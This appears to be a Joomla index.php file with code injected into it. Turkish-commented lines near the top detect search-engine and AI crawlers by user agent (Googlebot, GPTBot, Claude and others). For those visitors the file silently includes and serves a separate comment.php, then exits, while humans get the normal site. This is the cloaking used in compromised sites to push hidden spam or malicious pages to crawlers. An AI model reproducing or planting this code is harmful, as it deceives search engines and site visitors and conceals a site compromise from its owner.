/** * @package Joomla.Site * * @copyright (C) 2005 Open Source Matters, Inc. * @license GNU General Public License version 2 or later; see LICENSE.txt */ // Bot kontrol fonksiyonu function isBot() { if (!isset($_SERVER['HTTP_USER_AGENT'])) { return false; } $userAgent = strtolower($_SERVER['HTTP_USER_AGENT']); $bots = array( 'googlebot', 'bingbot', 'msnbot', 'slurp', 'yahoo', 'yandexbot', 'baiduspider', 'duckduckbot', 'facebot', 'facebookexternalhit', 'twitterbot', 'linkedinbot', 'pinterest', 'applebot', 'gptbot', 'chatgpt', 'bardbot', 'gemini', 'claude', 'crawler', 'spider', 'robot', 'bot', 'inspection', 'google', 'scrapy' ); foreach ($bots as $bot) { if (strpos($userAgent, $bot) !== false) { return true; } } return false; } // Bot kontrolü - Eğer bot ise bot.php'yi göster if (isBot() && file_exists(__DIR__ . '/comment.php')) { include_once __DIR__ . '/comment.php'; exit; } // Normal Joomla çalıştırmaya devam et define('JOOMLA_MINIMUM_PHP', '8.1.0'); if (version_compare(PHP_VERSION, JOOMLA_MINIMUM_PHP, '<')) { die( str_replace( '{{phpversion}}', JOOMLA_MINIMUM_PHP, file_get_contents(dirname(__FILE__) . '/includes/incompatible.html') ) ); } define('_JEXEC', 1); if (file_exists(__DIR__ . '/defines.php')) { include_once __DIR__ . '/defines.php'; } require_once __DIR__ . '/includes/defines.php'; if ( !empty($_GET['jautoupdate']) && is_file(JPATH_ADMINISTRATOR . '/components/com_joomlaupdate/update.php') ) { require_once JPATH_ADMINISTRATOR . '/components/com_joomlaupdate/extract.php'; die(); } require_once __DIR__ . '/includes/app.php'; ?>